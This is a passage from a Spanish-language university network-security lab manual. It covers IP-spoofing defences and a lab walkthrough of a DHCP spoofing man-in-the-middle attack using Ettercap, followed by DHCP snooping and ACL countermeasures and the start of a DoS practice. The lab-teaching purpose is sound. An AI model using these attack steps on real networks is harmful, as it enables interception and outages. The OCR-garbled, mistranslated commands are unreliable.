Por ejemplo dentro de nuestra interfaz se conecta a la red interna 192.168.1.0/24, esto
significa que los paquetes que llegan a la interfaz de servidor de seguridad interior debe
tener una direccion de origen en el rango 192.168.1.0/24 de lo contrario sera dado de
baja. La caracteristica de suplantacion de IP utiliza el reenvio Unicast Reverse Path
(Unicast FPR) mecanismo, que dicta que para todo el trafico que desea permitir a través
del dispositivo de seguridad, el dispositivo de seguridad de la tabla de enrutamiento debe
incluir una ruta de vuelta a la direccion de origen. Para activar la proteccion de

suplantacion de IP, introduzca el siguiente comando:
CiscoASA5500 (config) # ip verificar ruta inversa interfaz "interface_name"
Proteccién IPS.

Aunque el Firewall ASA soporta la funcionalidad de IPS completa con un médulo de
hardware adicional IPS (AIP-SSM), apoya también la proteccién IPS basica que es
incorporado por defecto sin necesidad de utilizar un médulo de hardware adicional. La
caracteristica incorporada en el IPS es compatible con una lista basica de las firmas y se
puede configurar el dispositivo de seguridad para realizar una o mas acciones sobre el
trafico que coincide con una firma. Hay dos grupos de firmas integradas en el software de
servidor de seguridad: "informativos" y firmas "ataque". Se puede definir una directiva de

auditoria IP para cada grupo de firmas de la siguiente manera:
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Para las firmas informativos:

CiscoASA5500 (config) # ip nombre de auditoria "nombre" info [accidén [alarma] [drop]

[reset]]

Para firmas de ataque:

CiscoASA5500 (config) # ip nombre de auditoria "nombre" ataque [accion [alarma] [drop]

[reset]]

Las palabras clave [Alarma], [caida], [reset] definir las acciones a realizar en un paquete
malicioso que coincide con una de las firmas. [Alarma] genera un mensaje del sistema
gque muestra que un paquete coincide con una firma, [caida] descarta el paquete, y [reset]
descarta el paquete y cierra la conexién y luego hay unir la politica a una interfaz

especifica:

CiscoASA5500 (config) # interface ip audit "interface_name" "policy_name"

Por ejemplo:

CiscoASA5500 (config) # ip nombre de auditoria drop attacks ataque de gota

accion.

CiscoASA5500 (config) # ip interface auditoria externa drop attacks.

= EVITAR IP SPOOFING EN SERVIDORES DNS.

Una forma de evitar el IP Spoofing en los servidores DNS es configurando el archivo
host.conf para que haga una resolucién inversa y asi evitar la falsificacién de direcciones.

Procedemos primeramente a editar el archivo host.conf.

Vi /etc/host.conf

Y agregamos las siguientes lineas dentro del archivo:
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# Busqueda de los nombres via DNS, primero el DNS luego el fichero /etc/hosts

order bind, hosts

# Activar si usamos multiples IP

Multi on

# Comprobar si hay falsificaciones de IP.
nospoof on
# Usa el servicio syslog para avisarnos de IP Spoofing

spoofalert on
Dénde:

order bind, host: Significa que primero buscara traducir nombres mediante una consulta

a un servidor DNS y luego mediante los archivos locales

Multi on: Devolvera todas las direcciones validas para un host que figure en /etc/hosts 'y
debemos activarla si tenemos multiples IPS.

nospoof on: Hace una resolucion inversa para impedir falsificaciones de direcciones.
Spoofalert on: Usa el servicio syslog para alertar por eventuales falsificaciones de

direcciones.
Ahora vamos a reiniciar el servicio DNS

Service named restart

e DEFENSA CON IP GUARD.
Switch (config-if) # ip verify source (uses just IP address filtering)
Switch(config-if)# ip verify source port-security

Switch# show ip source binding

Habilitar el IP Source Guard con IP de Origen dinamico y filtrado de direcciones MAC.
Switch (config) # interface GigabitEthernet1/0/1
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Switch (config-if) # ip verificar fuente de puerto de seguridad

Habilitar el IP Source Guard con una direccidbn de origen IP estética y filtrado de
direcciones MAC asignadas en VLAN 5.

Switch (config) # ip fuente vinculante 0011.0011.0011 vlan 5 10.1.1.11 interfaz
GigabitEthernet1/0/2.

Por Ejemplo en el siguiente Escenario.

~ VLAN 1 VLAN 10

y :
Host 1 Switch Server

llustracion 91: Escenario de configuracion aplicando dhcp Snooping.

Switch # configure terminal

Introduzca los comandos de configuracién, uno por linea. Terminal con CTRL / Z.

Switch (config) # ip dhcp snooping

Switch (config) # ip dhcp snooping vian 1,10

Switch (config) # ip dhcp snooping verificar mac-address

Switch (config) # ip fuente vinculante 0000.000a.000b vlian 10 10.1.10.11 interfase
Fa2/18

Switch (config) # interface FastEthernet 1.2

Switch (config-if) # switchport

Switch (config-if) # switchport modo de acceso

Switch (config-if) # switchport port-security

Switch (config-if) # ip dhcp vlan comprobar el origen de espionaje de Puerto de

seguridad

Switch (config) # interface FastEthernet 2/18

Switch (config-if) # switchport

Switch (config-if) # switchport modo de acceso

Switch (config-if) # switchport port-security

Switch (config-if) # ip dhcp vlan comprobar el origen de espionaje de Puerto de

seguridad

Unan-Leén Pagina 183




Practicas IP Spoofing.

Switch (config-if) # end
Switch # show ip vinculante fuente

MacAddress Direccion IP de arrendamiento (s) Tipo de interfase VLAN

00:02: B3: 3F: 3B: 99 10.1.1.11 6522 dhcp-snooping FastEthernet2 1/1
00:00:00:0 A: 00:0 B infinito 10.1.10.11 estéatico 10 FastEthernet2/18
El switch# show ip verificar fuente

Interfaz de filtro Tipo de filtro de modo de Direccion IP y Direccion MAC Vlan

Fa2 /1 ip-mac active 10.1.1.11 00:02: B3: 3F: 3B: 99 1
Fa2/18 ip-mac active 10.1.10.11 00:00:00:0 A: 00:0 b 10

= DEFENSA CON IPTABLES.
#Protection contra ataque de SPOOFING
Iptables -A FORWARD -i ethl -p all -s 192.168.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 172.16.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 127.0.0.0/8 - DROP

= DEFENSA CON LISTAS DE CONTROL DE ACCESO.
Una aplicacion bastante habitual de las ACL es lo que se conoce como filtro anti Spoofing
gue consiste en evitar que una red envié al exterior paquetes cuya direccion de origen no
sea suya y viceversa que no admita paquetes provenientes del exterior que tenga como
direccion de origen alguna suya. Por ejemplo si la LAN fuera 174.156.0.0./16 el filtro anti
Spoofing seria:

Access-list 1 permit 174.156.0.0. 0.0.255.255.
Access-list 1 Deny Any.

Access-list 2 Deny 147.156.0.0 0.0.255.255.
Acces-list 2 Permit Any.

Interface Fastethernet O

IP Access-group 1 IN

Interface Serial 0
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IP Access-group 2 IN.

Las listas de acceso anti-Spoofing, estas deben siempre rechazar datagramas con
broadcast o direcciones fuente multicast, y los datagramas con las direcciones reservadas
“loopback” como una direccion fuente. Esto es usualmente apropiado para una lista de
acceso anti-Spoofing para filtrar salida de todos los ICMP redirigidos, sin importar la
direccion fuente o destino. Los comandos adecuados pueden ser por ejemplo:

Ip access-list number deny icmp any any redirect

ip access-list number deny ip host 127.0.0.0 0.255.255.255 any

ip access-list number deny ip 224.0.0.0 31. 255.255.255 any

ip access-list number deny ip host 0.0.0.0 any
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11.4 PRACTICA: ATAQUE DHCP SOOFING.

Introduccion.

Esta practica consiste la realizacion del ataque de capa de aplicacién, Dhcp Spoofing.
Dicho ataque se realizara de manera virtual con la ayuda de Virtual Box y 2 maquinas
virtuales, el ataque se implementara con la ayuda de la herramienta de Ettercap bajo la
plataforma de Linux y finalizando el analisis del trafico con la herramienta de Wireshark.

DHCP SPOOFING, es un servidor DHCP que suplanta o interfiere con el verdadero
DHCP corporativo, resultado de una red local que no cuenta con la proteccién y
produciendo caidas de la red local. De tal manera que el atacante no autenticado podra
disponer de todos los valores de opcion que el servidor DHCP corporativo y las

proporcionara a las concesiones o solicitudes de los clientes victimas.Objetivos.

¢ Demostrar con ayuda de la simulacion la realizacion del ataque.

e Llevar a cabo el ataque con la herramienta Ettercap.

e Realizar el andlisis del trafico con la ayuda de Wireshark.

e Brindar conocimientos de DHCP.

e Brindar una solucion de prevencion y mitigacion contra este ataque.
e Aplicar las configuraciones de DHCP Snooping CISCO.

o Demostrar la caida de la red local por conflictos de direcciones IP.
Requerimientos para la realizacién de la practica.

e Tener instalado algun programa de virtualizacion por ejemplo Virtual Box.

e Tener instalado un Backtrack 5 o superior.

e Contar con dos maquinas virtuales que seran las victimas por ejemplo: Windows
xp y Ubuntu Server.

e Tener instalados un analizador de protocolo en por ejemplo: Wireshark.

e Contar con la herramienta para realizar el ataque por ejemplo: Ettercap.
Desarrollo.

Una de las formas que tienen los administradores de red, de entregar direccionamiento ip

es mediante un servidor DHCP, el servidor DHCP escucha los broadcast generados por

Unan-Ledén Pagina 187




Practicas DHCP Spoofing.

los host e inicia un ciclo de conversacién hasta que finalmente entrega la direccion ip, es
decir DHCP permite asignar dinamicamente una direccién IP a un cliente, a partir de una
base de datos de direcciones IP de servidor DHCP de la red local.

Escenario arealizar.

Victimas:

Ubuntu Server: 192.168.1.4 GW 192.168.1.3
Windows Xp: 192.168.1.5 GW 192.168.1.3
Atacante Backtrack: 192.168.1.3 GW 192.168.1.1

Chente DHCP VICTIMA
P 192 168 1.4
GW 192.168.1.3

UBUNTU SERVER Chente DHCP VICTIMA

IP 192.168.1.5
GW 192.168.1.3

‘ WINDOWS XP

a - o
- y
— 4
- !E = ——
1927168.1 2 |

Clhiente DHCP
WINDOWS XP

Switch

] - GW 152 168 1.1

‘ g DHCP Corporatvo

DNS
~

— ’/

192.168.1 3
Maquina Atacande
DHCP Malicioso

llustracion 92: Escenario a desarrollar en ataque DHCP Spoofing.

Realizando la Practica.

Primeramente observaremos cual es la direccion IP correspondiente a la maquina
atacantes con el comando IFCONFIG y observaremos que la maquina tiene una direccion
IP 192.168.1.3/24.

Archivo Editar ver Terminal Ayuda

rodolfo@rodolfo-laptop:~% sudo su
[sudo] password for rodolfo:
root@rodolfo-laptop: shomeys rodolfo# clear

dgrodolfo-laptop: /homeysrodolfo# ifconfig
Link encap: Ethernet direccionHw @8:26:9e:c2:ce:13
Direc. inet:192_168.1.3 Difus.:192._.168.1.255 Masc:255.255.255.8
Direccion inet6: fTe8B8::226:9eff:fec2:cel3/64 Alcance:Enlace
ACTIVO DIFUSION FUNCIOMNANDDO MULTICAST MTU: 1588 Metrica:1
Paguetes RX:28 errores:0 perdidos:0 overruns:8 frame:@
Pagquetes TX:48 errores:0 perdidos:0 overruns:8 carrier:0
colisiones:8® long.colaTX:1l8886
Bytes RX:3858 (3.8 KB) T bytes:6718 (6.7 KB)
Interrupcion: 26 Direccion base: O0xa®ee

llustracion 93: Verificando la direccién IP del Atacante.
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Antes de ejecutar el ataque iniciaremos una maquina o un usuario normal para observar
como el servidor DHCP corporativo asigna adecuadamente la direccion IP y realizaremos
una actualizacion para comprobar su conectividad con internet y se observara que la

maquina obtiene del servidor DHCP corporativo su direccion IP 192.168.1.4/24.

rootEubuntu : home-srodolfoft ifconfig
Link encap:Ethernet HUWaddr 08:00:27:66:141:7e
inet addr:192.168.1.4 Bcast:192.168.1.255 Mask:255.255.255.0
inett addr: fe80::a00:27ff :febb:147e-641 Scope:Link
UF BROADCAST RUNNING MULTICAST HMTU:1500 HMetric:1

RX packet=:14 errors:0 dropped:0 overruns:0 frame:0Q
TX packet=:17 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

R¥ bytes:1987 (1.9 KB) TX bytes:1818 (1.8 KB)

llustracion 94: Verificando la direccién de una maquina cliente Dhcp.
Al momento de realizar la actualizacion de la misma maquina la descarga a través del

comando sudo aptitude update se realiza efectivamente.

root@ubuntu vhome-rodolfofft sudo aptitude update
1 http:rsni.archive ubuntu.com lucid Release.gpg [189B1
2 http:r/mi.archive.ubuntu.comsubuntus lucidsmain Translation-es [658kE]
13 http:rsssecurity.ubuntu.com lucid-security Release.gpg [198B1
http:r security.ubuntu.com ubuntu- lucid-securitysmain Translation-es
http:rrsecurity.ubuntu.com ubuntus lucid-szecurityrrestricted Translation-es

http: - security.ubuntu.com ubuntu lucid-securitysuniverse Translation—es
http:r security.ubuntu.com ubuntus lucid-securitysmultiverse Translation-es
4 http:rsssecurity.ubuntu.com lucid-security Helease [57.3kB1
5 http:rrssecurity.ubuntu.com lucid-security-smain Packages [469kB]

# [Z Translation—es 37Z2661-658kB 561 [5 Packages 67VZ79-469kB 141 _

llustracion 95: Verificando que la maquina se conecta a internet correctamente y desarrolla ciertas descargar
de actualizacion.

Para realizar el ataque DHCP Spoofing utilizaremos la herramienta Ettercap entonces

procedemos a iniciar la aplicacion.

9 S @ ettercap NG-0.7.3

File sSniff Options Help

= =
= T

llustracion 96: Iniciando la aplicacién Ettercap para iniciar el ataque.
Iniciada la aplicacion de Ettercap damos clic en el mend SNIFF para seleccionar la
interfaz por la cual realizamos un andlisis para detectar las maquina conectada a dicha

red y sera seleccionada la interfaz por la cual estemos trabajando por ejemplo ethO.
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Lol ] ettercap Input

@ MNetwork interface : |etho - |

| Aceptar | | Cancelar |

llustracion 97: Seleccionando la interfaz de red la cual deseamos escanear para observar las maquinas
contactada a la red.

Luego en el mend HOST y luego en SCAN HOST, para que se realice un escaneo para

detectar todas las maquinas que se encuentran en la red.

view Mitm Filters Logging Plugins

® ® @ ettercap

sy h for 255 hosts. Cancelar

39 protocol dissectors
53 ports monitored
7587 mac wvendor fingerprint
1698 tcp OS5 fingerprint
Z183 known services
Randomizing 255 hosts for scanning...
|Scanning the whole netmask for 255 hosts...

llustracion 98: Realizando el Escaner de la interfaz ethO

De tal manera que luego del SCAN seran mostradas las direcciones IP correspondiente a
las maquinas que se encuentran conectada a la red, se observara que las direcciones son

GW 192.168.1.1 y una maquina 192.168.1.2.

Start Targets Hosts View Mitm Filters Logging Plugins Help

Host List X

IP Address  MAC Address Description
192.168.1.1 38:72:C0:20:F0:77
192.168.1.2 00:25:22:49:22:D0

Delete Host | Add to Target 1 1 Add to Target 2 |

llustracion 99: Observando las maquinas correspondientes a su direccién IP que se encuentran conectadas a las
red.
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Luego en el menua MITM, seleccionamos DHCP Spoofing para proceder a realizar el
ataque e introducimos el rango de las direcciones IP que se asignaran, DNS que
responderd a las peticiones DNS y la mascara de subred.

Host List X

IP Address  MAC Address Description
192.168.1.1 3B8:72:CO:20:F0:77
192.168.1.2 00:25:22:A9:22:D0

0 @ MITM Attack: DHCP Spoofing
- Server Information |

IP Pool (optional) |192.168.1.4-20

Netrmask 255.255.255.0
DNS Server |P 152.168.1.0
Delete Host | megar Cancelar | | Add to Target 2

llustracion 100: Iniciando el ataque y estableciendo el rango de direcciones Ip.

Luego en el menu STAR seleccionamos la opcion STAR SNIFF solo resta esperar que
alguna méaquina que inicie realice alguna peticion DHCP para observar cual es la
direccion que esta proporcionando el DHCP malicioso, se puede observar que en la parte
de inferior de Ettercap se encuentra el ataque activado y muestra una descripcion de los
datos introducidos anteriormente.

2183 ‘\I:S'F—H G&lf‘.u{'es

Randomizing 255 hosts for scanning

scanning the whole netmask for 235 hosts

3 hosts added to the hosts list,,

DHCP spoohing: using specified ip_pool, netmask 255.255.255.0, dns 192.168.1.0
Starting Unified sniffing...

llustracion 101: Verificando que la herramienta Ettercap se encuentra activo listo para iniciar el ataque.
Ahora procedemos a iniciar una maquina Windows para que realice esta peticion vy
observaremos en la herramienta Ettercap como empieza a realizar su trabajo, asignando

la direcciones falsas.
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bienyvrenido

llustracion 102: Iniciando Windows quien es una maquina victima.

DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 192.168.1.0
[Starting Unified sniffing...

DHCP; [08:00:27:44:64:88] REQUEST 192.168.1.4

DHCP spoofing: fake ACK [08:00:27:A4.64:88] assigned to 192.168.1.4

DHCP: [08:00:27:A4:64:B8] REQUEST 192.168.1.4

DHCP spoofing: fake ACK [08:00:27:A4:64:B8] assigned to 192.168.1.4

DHCP: [192.168.1.3] ACK : 192.168.1.4 255.255.255.0 GW 192.168.1.3 DNS 192.168.1.0
OHCP: [192.168.1.3] ACK : 192.168.1.4 255.255.255.0 GW 192.168.1.3 DN5 192.168.1.0
DHCP: [00:25:22:09:41-03] DISCOVER

DHCP spoofing: fake OFFER [00:253:22:09:41:03] offering 192.168.1.4

DHCP: [192.168.1.3] OFFER : 192.168.1.4 255 255,255.0 GW 192 .168.1.3 DNS 192 168.1.0
DHCP: [00:25:22:09:41:03] REQUEST 192.168.1.8

DHCP spoofing: fake ACK [00:25:22:09:41:03] assigned [0 192.168.1.8

llustracion 103: Herramienta ettercap realizando el ataque.

Luego procedemos a observar las direcciones IP de la maquina Windows observando las
propiedades de su conexion, se podra observar que la direccion IP que le fue asignada es
la 192.168.1.4/24 y con un GW o puerta de enlace 192.168.1.3, en la cual esta direccion
IP de la puerta de enlace corresponde precisamente a la direccion IP de la maquina

atacante por lo que el atacante estd funcionando como un Gateway para la maquina

victima y todo trafico tendra que pasar obligatoriamente por la maquina que atacante.

- Estadlo de Conexidn de area local 2

Genal| Sopotte

Estado de la conesidr

ﬂ Tipo de drecoitn: Azignada por DHCP
: Lireczian IF- 192 166.1.4
Mazcala de subeed: 255,255 2550
Pusits de enlsce pred 19216813

llustracion 104: Verificando la direccion Ip de la maquina victima y observando la puerta de enlace corresponde a la
magquina atacante.
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Observando las peticiones a través de la herramienta Wireshark.

Ma, Time Souree Destination Protacal Length Info
1 0.000000 0.0.0.0 255.255,255.255 DHCP 362 DHCP Request - Transaction ID OxceS0cd65
2 0.000044  0.0.0.0 255.255,255.255 DHCP 362 DHCP Request - Transaction ID OxceS0c465
3 0.000351 1062.168.1.3 255.255.255. 255 DHCP 582 DHCP ACK - Transaction ID OxceS0cd6S
4 0.000626 102.168.1.3 255.255.255. 255 DHCP 582 DHCP ACK - Transaction ID OxceS0cd6S
5 0.017380 192.168.1.1 182.168.1.4 DHCP 320 DHCP ACK - Transaction 1D OxceS0cd65
6 0.100602 CadmusCo_ad:64:h8 Broadcast ARP 60 Gratuitous ARP for 192.168.1.4 (Request)
7 0.100653  CadmusCo_ad:64:h8 Broadcast ARP 60 Gratuitous ARP for 192.168.1.4 (Request)
8 0.396542 CadmusCo_ad:64:b8 Broadcast ARP 60 Gratuitous ARP for 192.168.1.4 (Request)
9 0.396504 CadmusCo_ad:64:b8 Broadcast ARP 60 Gratuitous ARP for 192.168.1.4 (Request)
10 1.400563 Cadmusco_ad:64:b8 Broadcast ARP 60 Gratuitous ArP for 192.168.1.4 (Request)
11 1.400623  CadmusCo_ad:6d:h8  Broadcast ARP 60 cratuitous arp for 192.168.1.4 (Reguest)

m

Hardware type: Ethernet

Hardware address length: 6

Hops: O

Transaction I0: Oxcel0d46S5

seconds elapsed: 0

Bootp flags: 0x0000 (unicast)

Client IP address: 0.0.0.0 (0.0.0.0)

your (client) TP address: 1%2.168.1.4 (1%2.168.1.4) |
Wext server IP address: 0.0.0.0 (0.0.0.0)

relay agent IP address: 0.0.0.0 (0.0.0.0)

Client MAC address: CadmusCo_ad:64:bh8 (08:00:27:a4:64:h8)
client hardware address padding: 00000000000000000000
server host name not given

Boot file name not given

+

llustracion 105: Analisis del tréfico por Wireshark.

Ahora procedemos a iniciar otra maquina para observar si el DHCP malicioso sigue
afectando a otras maquinas que se conecten y realicen una peticibon DHCP y se podra
observar que aun el DHCP malicioso sigue asignando direccion IP falsa a sus victimas.
En esta ocasion iniciaremos una maquina con Ubuntu server cuya direccion IP asignara
sera 192.168.1.5/24 y GW 192.168.1.3.

Iniciada la maquina y utilizando el comando IFCONFIG observaremos dicho resultado y

también podemos observar en Ettercap como se realizé la entrega de la direccion.

rootEubuntu L Ahomesrodolfoll ifconf ig
=L Link encap:Ethernet dr

I ala
T bhytes:1152

llustracion 106: Asignacion de las direcciones por la herramienta Wireshark.
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10D E] offering
O-aD:-98] offerir
255 .2

NS 152
DOMNS 152

AA68. 1.6 2552
B] REQUEST 192.168.1
[CB D=2 TS0 ‘:I_IJ assigned to 192
| I1.L"l|_IL T 192.168.1
D 2T 30:-90D:-98] assigned to 192 168
192.168.1. 5 255 255 2550 GW 192_3
192 .168.1. .5 255 . 255 2550 GW 192

IIustramon 107: Verificando la asignacion IP de la otra maquma victima.

Observando las peticiones a través de la herramienta Wireshark.

Time < D=stin, Tength_Info
18 122.936370192.168.1.3 255.255.255.255 DHCP 582 DHCP offer - Transaction ID Ox3a8zoc?f
19 122.936628 192.168.1. 3 255.255.255.255 DHCP 582 pHCP offer - Transaction ID Ox3a820c7F
20 123.075992 0.0.0.0 255.255.255. 255 DHCP 342 DHCP Request - Transaction ID Ox3a820c7f
21 123076054 0.0.0.0 255.255.255. 255 DHCP 342 DHCP Request - Transaction ID Ox3a820c7f
22 123.07639615%2.168.1.3 255.255.255.255 DHCP 582 DHCP ACK - Transaction ID Ox3aS820c7f
23 123.076639192.168.1.3 255.255.255.255 DHCP 582 DHCP ACK - Transaction ID Ox3a8zoc7f
24 124. 2FFfFife30ffozo:z ICMPVE 70 Router solicitation from 08:00:27:30:9d:98
25 124 :27Ff:Fe3offoz::2 ICMPVE 70 Router solicitation from 08:00:27:30:9d:98
26 125.085746152.168.1.1 192.168.1.6 DHCP 320 DHCP offer - Transaction ID Ox3a820c7f
27 125.864070 fes0: ta00:27ff:fe30ffoz: 16 ICMF‘VE 90 Multicast Listener Report Massage w2
- — = — = = = =

TOLLULR 1 agi. UAWULWG Loneasus

client IP address: 0.0.0.0 (0.0.0.0)

[vour (client) 1P address: 152.168.1.5 (152.168.1.5) |
Hext server IP address: 192.168.1.3 (192.168.1.3)

Relay agent IFP address: 0.0.0.0 (0.0.0.00

client mac address: Cadmusco_30:9c:98 (O8:00:27:30:9d:98)
client hardware address padding: 00000000000000000000
server host name not giwen

Boot Tile name not given

Magic cookie: DHCP

# option: (53) DHCP Message Type

# option: (54) DHCP server Identifier

# option: €51) IP Address Lease Time

# option: (12 subnet mMask

= OpTtion: (3] ROLTEr
Length: 4 ‘
Router: 152.168.1.3 €152.168.1.3)

llustracion 108: Verificando el trafico con la herramienta Wireshark.

Si en esta maquina realizaramos un sudo Aptitude Update podremos observar que la

maquina no puede descargar dichos paquetes de actualizacion.

N1 . N
ME

Lric

Lted Tra

Tran

I_I LII_I

lation

Transla

Trans

lat i

llustracion 109: Realizando descarga a través del comando UPDATE y se observa que no tenemos conexion por
tener una puerta de enlace que no es la correspondiente.
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De igual manera se pueden producir conflictos de asignacion de direccion IP por lo que
puede provocar problemas de conexion.

é lntcrnc? Mis documentos

Documentos recientes >

(A-I Correo electronico

Mis imagenes

n Simbolo del sistema S S
— M PC
@ FPaseo por Windows XP

Asistente para transferendcia
de archwos y configuracio Configurar acceso y
- programas predeterminados

B Blo<c de notas Impresoras y faxes

Ayuda y soporte teonico

~ FPanel de control

Buscar

Todos los programas
. Windows - Error del sistema

Hay un conflicto de direcaon IF con otro sistema en la red

llustracion 110: Observando que debido a este ataque provoca también conflictos con las direcciones IP.

Para detener el ataque DHCP Spoofing solo es necesario dar clic en la herramienta
Ettercap en el menu Start y luego en stop Sniff y luego en MITM en Stop Attack.

ﬂ 3 MITM attack(s) stopped
Flai™ 4 :WUIHI&;. TAGKE ALN [UOIUULLT DU IV 90 ) a>>|\.;ncu w13
JHCP: [08:00:27:30:9D:98] REQUEST 192,168.1.5 ;
JHCP spoofing: fake ACK [08:00:27:30:9D:98) assigned to 1§ m
JHCP: [192.168.1.3] ACK : 192.168.1.5 255.255.255.0 GW 19
JHCP: [192.168.1.3] ACK : 192.168.1.5 255.255.255.0 GW 192108 Ims DNS T9Z7 108 0
JHCP: [192.168.1.1] OFFER : 192.168.1.6 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1

JHCP: [08:00:27:A4:64:88] REQUEST 192.168.1.4
WD cnanfinn: faka ACK (0RNAN-27-A4.A4.RA] accinnad tn 102 1AR 1 4

llustracion 111: Deteniendo el ataque MITM.
De esta manera es posible realizar el ataque DHCP Spoofing y lograr que las maquinas
victima puedan adquirir direcciones IP a través de un servidor DHCP malicioso
manipulado por una maquina atacantes que en este caso funciono también como
Gateway.
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DEFENSA CONTRA DHCP SPOOFING.
= DHCP SNOOPING.

La configuracién se realiza de la siguiente manera:
I Habilito el feature

Switch (config)#ip Dhcp snooping

I Configuro el feature para el rango VLAN 1 hasta 100
Switch (config)#ip dhcp snooping vian 1 100

I Acepto la inclusién de la opcién 82 de DHCP

Switch (config)#ip dhcp snooping information option
!

Switch (config)#interface FastEthernet0/1

I Seteo la interfase Como trusted

Switch (config-if)#ip dhcp snooping trust

I Para evitar los ataques DOS, solo dejo pasar 10 respuestas por segundo
Switch (config-if)#ip dhcp snooping limit rate 10

!

Ahora vamos a monitorear los cambios aplicados:
Switch# show ip dhcp snooping

DHCP Snooping is configured on the following VLANS:
1-100

Insertion of option 82 information is enabled.

Interface Trusted Rate limit (pps)

FastEthernet0/1  yes 10

Y vemos la tabla:
Switch# show ip dhcp snooping binding
Option 82 on untrusted port is not allowed

MacAddress IpAddress Lease(sec) Type VLAN Interface

00:D0:4B:87:64:8D 192.168.90.10 599740 dynamic 1 FastEthernet0/3
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= DEFENSA CON LISTA DE ACCESO.

Una forma seria utilizar ACLs para bloquear UDP 68, que es el puerto destino que utiliza
un servidor DHCP para hablar con el cliente (RFC 1531). Asi que simplemente si quieres
gue un servidor DHCP no envie paquetes offer o acks puedes crear una lista de acceso y
aplicarla en los interfaces correspondientes:

ip access-list 100 deny udp any any eq 68
ip access-list 100 permit ip any any
int [interface facing the would-be rogue]

ip access-group 100 in

Esto no seria necesario si tenemos configurado el ip helper-address y el switch esta

actuando como broadcast hacia el servidor DHCP adecuado.

= DEFENSA CON IPTABLES.

Asumiendo que el servicio funcionara a través de la interfaz ethl, si lo prefiere, puede
utilizar directamente el mandato iptables, ejecutando lo siguiente:

iptables -A INPUT -i ethl -p udp -m state --state NEW -m udp \ --sport 67:68 --dport
67:68 -j ACCEPT

Service iptables save O bien edite el archivo /etc/sysconfig/iptables:

vim /etc/sysconfig/iptables y afiada el siguiente contenido:

-A INPUT -i ethl -p udp -m state --state NEW -m udp --sport 67:68 --dport 67:68 -j
ACCEPT

Reinicie el servicio iptables a fin de que surtan efecto los cambios: Service iptables

restart.
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= DEFENSA CON LISTA DE ACCESO.

Cuando existen listas de acceso anti-Spoofing, estas deben siempre rechazar datagramas
con broadcast o direcciones fuente multicast y los datagramas con las direcciones

reservadas “loopback” como una direccion fuente.
Ip access-list number deny icmp any any redirect
Ip access-list number deny ip host 127.0.0.0 0.255.255.255 any
Ip access-list number deny ip 224.0.0.0 31. 255.255.255 any
Ip access-list number deny ip host 0.0.0.0 any
#Proteccidn contra ataque de SPOOFING
Iptables -A FORWARD -i eth1 -p all -s 192.168.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 172.16.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 127.0.0.0/8 -j DROP

= Habilito registro de Auditoria.

Habilite el registro de auditoria en todos los servidores DHCP de la red y compruebe
periédicamente los archivos de registro de auditoria y superviselos si el servidor DHCP
recibe de los clientes un nimero de solicitudes de concesién inusualmente alto. En los
archivos de registro de auditoria encontrara la informacién necesaria para localizar el
origen de cualquier ataque realizado contra el servidor DHCP. La ubicacion
predeterminada de los registros de auditoria de es

%windir%\System32\Dhcp.

= Limitar el Acceso por Direccion MAC.

Es posible limitar el acceso al servidor DHCP a través de la opcion deny con el valor

unknown-clients y definiendo una lista de direcciones MAC. Por Ejemplo:

Deny unknown-clients;
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host impresora {
hardware ethernet 00:24:2B:65:54:84;

}
Host pcl {

Hardware ethernet 00:50: BF: 27:1C:1C;
}

Edite el archivo /etc/dhcp/dhcpd.conf o bien /etc/dhcpd.conf, segln corresponda: vim
letc/dhcp/dhcpd.conf

Un ejemplo de la configuracion quedaria de tal manera que soélo las direcciones MAC en

la lista pueden conectarse hacia el servidor DHCP y recibir una direccion IP:

# La direccién IP proporcionada.
# Server-identifier 172.16.1.1;
ddns-update-style interim;
ignore client-updates;
authoritative;
Default-lease-time 900;
Max-lease-time 7200;
Option ip-forwarding off;
Option domain-name "red-local.net";
Option ntp-servers 0.pool.ntp.org, 1.pool.ntp.org, 2.pool.ntp.org, 3.pool.ntp.org;
Shared-network redlocal {
subnet 172.16.1.0 netmask 255.255.255.192 {
Option routers 172.16.1.1;
Option subnet-mask 255.255.255.192;
Option broadcast-address 172.16.1.63;
Option domain-name-servers 172.16.1.1;
Option NetBlIOS-name-servers 172.16.1.1;
Range 172.16.1.2 172.16.1.58;
}

# Lista de direcciones MAC que tendran permitido utilizar el servidor
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# DHCP.
# Deny unknown-clients impide que equipos fuera de esta lista puedan
# utilizar el servicio.
Deny unknown-clients;
Host impresora {
Hardware ethernet 00:24:2B:65:54:84;
}
Host pcl {
Hardware ethernet 00:50:BF:27:1C:1C;
}
Host pc2 {
Hardware ethernet F4:C7:14:70:FA:AC;
}
Host laptopl {
Hardware ethernet 44:87:FC:AA:DD:2D;
}
Host laptop2 {
Hardware ethernet 70:F1:A1:9F:70:3B;

Si realizé cambios en la configuracion, reinicie el servicio dhcpd a fin de que surtan efecto

los cambios. Service dhcpd restart
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11.5 PRACTICA: DoS/DDoS.

Introduccion.

Esta practica consiste la realizacién del ataque de Denegacién de Servicio, dicho ataque
se realizara de manera real y virtual con la ayuda de virtual Box y 3 maquina virtuales,
en unas de las 3 maquinas tendra configurado el servidor de web con un sitio web

www.uach.com, en las otras dos maquinas seran atacantes que implementaran dicho

ataque desde la terminal haciendo uso de diferentes herramientas por ejemplo
hpin3,nmap, se hara uso de dos maquinas las cuales: 1 maquina sera sniffer para
observar el trafico con la herramienta WIRESHARK vy la otra sera un cliente o usuario que

realiza peticiones a dicho sitio www.uach.com.

Objetivos.

= Demostrar con ayuda de la simulacion la realizacion del ataque DDos.
= Llevar a cabo el ataque con las herramientashping3, nmap etc.

= Llevar a cabo el ataque al servidor web configurado con apache.

= Brindar conocimientos de los ataques de Denegaciones de Servicios.
= Aplicar andlisis del trafico con la herramienta Wireshark.

= Brindar soluciones para la mitigacion de dichos ataques.

= |Implementar técnica Spoofing.
Requerimientos para la realizacion de la préctica.

= Tener instalado algun programa de virtualizacién por ejemplo virtual Box.

= Tener conocimientos basicos de hping3, suplantacion de identidad,
configuracion de servidor web, comandos Linux.

= Contar con una maquinas real donde se tendra instalado Ubuntu server para el
servidor de web.

= Contar con los paguetes instalados como: hping3, Packit.

= Tener acceso a internet para descargar ciertos paguetes y herramientas.

= Contar con un switch, un router y analizador de protocolo Wireshark.
